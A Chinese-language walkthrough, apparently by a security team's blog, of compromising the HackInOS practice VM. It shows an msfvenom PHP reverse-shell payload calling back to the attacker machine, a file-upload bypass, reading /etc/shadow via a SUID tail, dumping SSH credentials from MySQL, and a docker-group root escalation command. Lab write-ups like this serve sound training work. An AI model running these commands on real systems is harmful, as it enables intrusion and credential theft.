一,运行说明
* 靶机难度:初\中级
* 目 标:提权、获取flag
* 运行环境:攻击机kali linux
靶机HackInOS
均运行于VM VirtualBox中
* 网络设置:均为Nat模式
二、过程
1、前期信息搜集
首先要用Nmap找到靶机地址,在这里我的靶机地址是10.0.2.15,可以看到开放了22和8000端口。
先在浏览器中访问一下。
可以看到有个搜索框,于是我就天真的以为可能会存在SQL注入,在sqlmap里跑了一下~
结果是喜闻乐见的没有注入,需要从别的地方找突破口了。
最近发现火狐浏览器里的wappalyzer插件是个好东西,可以通过该插件能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数,使用时很简单,开启你要分析、检测的网页后,点选该图示即可看到网站使用的相关技术和服务。
不知为啥,在页面点击链接的时候,总是会跳转到Localhost页面。
查看网页源代码发现网页链接就是指向Localhost页面的,不知作者为什么这样做,浏览页面时很麻烦,严重影响用户体验。。。
既然都没什么发现,那就Nmap再扫一下,同时爆破一波目录
看到upload.php,马上想到了文件上传漏洞,先打开看一下
整个页面只有一处上传文件的地方,且只能上传图片格式文件
查看一下网页源代码
发现源代码中有一处指向Github的链接,访问此链接查看upload.php的源码
通过阅读源码可了解到系统只允许上传PNG或GIF格式的图片,并且会校验文件内容,通过校验的文件会保存在uploads目录中,使用随机生成的md5值来对上传的文件进行重命名,但是不会改变上传文件的后缀格式。
这种情况下可以使用Meterpreter进行渗透,先使用该软件生成一个后门
可以看到我的靶机地址是10.0.2.4。在kali命令行中执行msfvenom-p php/meterpreter/reverse_tcp lhost=10.0.2.4 lport=6666 -f raw生成木马
就这样,一个喜闻乐见的木马生成了,把payload复制下来保存到php文件中,然后跟正常的png文件合并到一起
因为系统不检查文件后缀是否为图片格式,所以被重命名为php后缀后一样可以正常上传文件
然后打开Metasploit,在exploit/multi/handler模块中设置Payload和监听主机、监听端口等参数
因为上传文件后靶机对其进行了MD5的重命名,所以可以写一个python脚本来帮助我们找到并访问上传的木马
在靶机中运行一下即可连接
可以看到现在已经连接成功,但是个低权限账户,等会肯定需要提权。
先看一下文件夹中有哪些文件
打开wp-config.php,找到数据库连接信息
上传一个Linux提权信息收集脚本,下载地址:https://www.securitysift.com/download/linuxprivchecker.py
执行命令查看一下相关信息
输出的信息有点多,这一行出现了docker的相关信息,盲猜运行在docker中,先继续往下看。
可以看到tail被设置了suid
直接用tail命令读取shadow文件
至此拿到了root用户密码的哈希值,需要破解一下
root密码是john,那么就可以提权了。
又是提示需要一个终端,这种情况以前的靶机经常碰到,执行python-c "import pty;pty.spawn('/bin/bash');"命令即可解决
flag很好找,打开即可
生活需要细节,有丶东西,没想到作者还是个带哲学家。
敲锣打鼓准备收工。但是跟网上大佬们的渗透过程对比却发现,这不是要找的flag。果然自己还是图样图森破,这作者拐弯抹角的属实带恶人
现在已经拿到了root权限,先进数据库看看
mysql -hdb -u wordpress -p wordpress
show tables
可以看到一个跟ssh有关的表,一开始用Nmap扫的时候可以看到22端口是开着的,先打开这个表看一下 select * from host_ssh_cred;
找到了ID和经MD5加密的密码,这就很简单了
密码是123456,用ssh连接一下
登陆成功,刚才我们已经注意到系统可能使运行在docker里,先确定一下
发现这是docker组的成员。我们可以利用dcoker来提权 docker run -it -v /:/root ubuntu /bin/bash 将/root路径下的文件映射到docker的根目录下
然后就可以找到真正的flag了
三,总结
总体来说因为本人太菜的原因感觉还是有一定难度的,尤其是提权部分,没有别人的教程可能都找不到flag。最近因为项目的原因靶机一直没怎么做,Hackinos前前后后也弄了很长时间,还得需要多学多练才对。
另外,关于docker的提权有兴趣 的可以看一下大佬总结的这篇文章《普通用户借助Docker容器提权思路分享》https://www.freebuf.com/articles/system/170783.html
关注我们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号: